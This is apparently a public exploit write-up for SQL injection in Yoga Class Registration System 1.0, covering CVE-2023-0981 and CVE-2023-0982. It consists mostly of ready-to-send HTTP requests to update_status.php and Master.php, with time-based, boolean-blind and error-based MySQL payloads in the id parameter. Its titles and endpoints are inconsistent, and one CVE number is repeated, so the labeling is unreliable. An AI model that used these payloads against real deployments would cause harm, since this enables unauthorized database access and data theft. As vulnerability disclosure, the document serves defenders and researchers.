Yoga Class Registration System 1.0 SQL Injection

`# Exploit Title: Authenticated POST based SQL Injection when delete user on Yoga Class Registration System  
# Google Dork: NA  
# Date: 23/2/2023  
# Exploit Author: Ahmed Ismail (@MrOz1l)  
# Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html  
# Software Link: [download link if available]  
# Version: 1.0  
# CVE: [CVE-2023-0982]  
# Tested on: Windows 11  
  
  
  
# Payload  
  
  
GET /php-ycrs/admin/registrations/update_status.php?id=2'+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjU HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/110.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Connection: close  
Referer:  
http://localhost/php-ycrs/admin/?page=registrations/view_registration&id=2  
Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
##Payload  
  
'+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjU  
  
  
  
the back-end DBMS is MySQL  
  
web application technology: PHP 8.0.25, Apache 2.4.54  
  
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)  
  
  
# Exploit Title: Authenticated POST based SQL Injection when delete user on Yoga Class Registration System  
# Google Dork: NA  
# Date: 23/2/2023  
# Exploit Author: Ahmed Ismail (@MrOz1l)  
# Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html  
# Software Link: [download link if available]  
# Version: 1.0  
# CVE: ( CVE-2023-0981 )  
# Tested on: Windows 11  
  
```  
POST /php-ycrs/classes/Master.php?f=delete_class HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/110.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 6  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/php-ycrs/admin/?page=classes  
Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
id=96'  
```  
  
# Payload  
  
Parameter: id (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause (subquery -  
comment)  
Payload: id=96' AND 2307=(SELECT (CASE WHEN (2307=2307) THEN 2307 ELSE  
(SELECT 8487 UNION SELECT 3172) END))-- -  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: id=96' AND (SELECT 4409 FROM(SELECT  
COUNT(*),CONCAT(0x7162707671,(SELECT  
(ELT(4409=4409,1))),0x71716b6b71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NiQL  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=96' AND (SELECT 9070 FROM (SELECT(SLEEP(5)))jayu)-- wkzQ  
  
  
  
# Exploit Title: Authenticated POST based SQL Injection when add class on Yoga Class Registration System  
# Google Dork: NA  
# Date: 23/2/2023  
# Exploit Author: Ahmed Ismail (@MrOz1l)  
# Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html  
# Software Link: [download link if available]  
# Version: 1.0  
# CVE: ( CVE-2023-0982 )  
# Tested on: Windows 11  
  
  
##Payload  
  
POST /php-ycrs/classes/Master.php?f=save_registration HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/110.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data;  
boundary=---------------------------408548517113152447833471217322  
Content-Length: 286  
Origin: http://localhost  
Connection: close  
Referer:  
http://localhost/php-ycrs/admin/?page=registrations/view_registration&id=2  
Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------408548517113152447833471217322  
Content-Disposition: form-data; name="id"  
  
2'  
-----------------------------408548517113152447833471217322  
Content-Disposition: form-data; name="status"  
  
1  
-----------------------------408548517113152447833471217322--  
  
##Payload  
'+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjU  
  
the back-end DBMS is MySQL  
web application technology: PHP 8.0.25, Apache 2.4.54  
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)  
`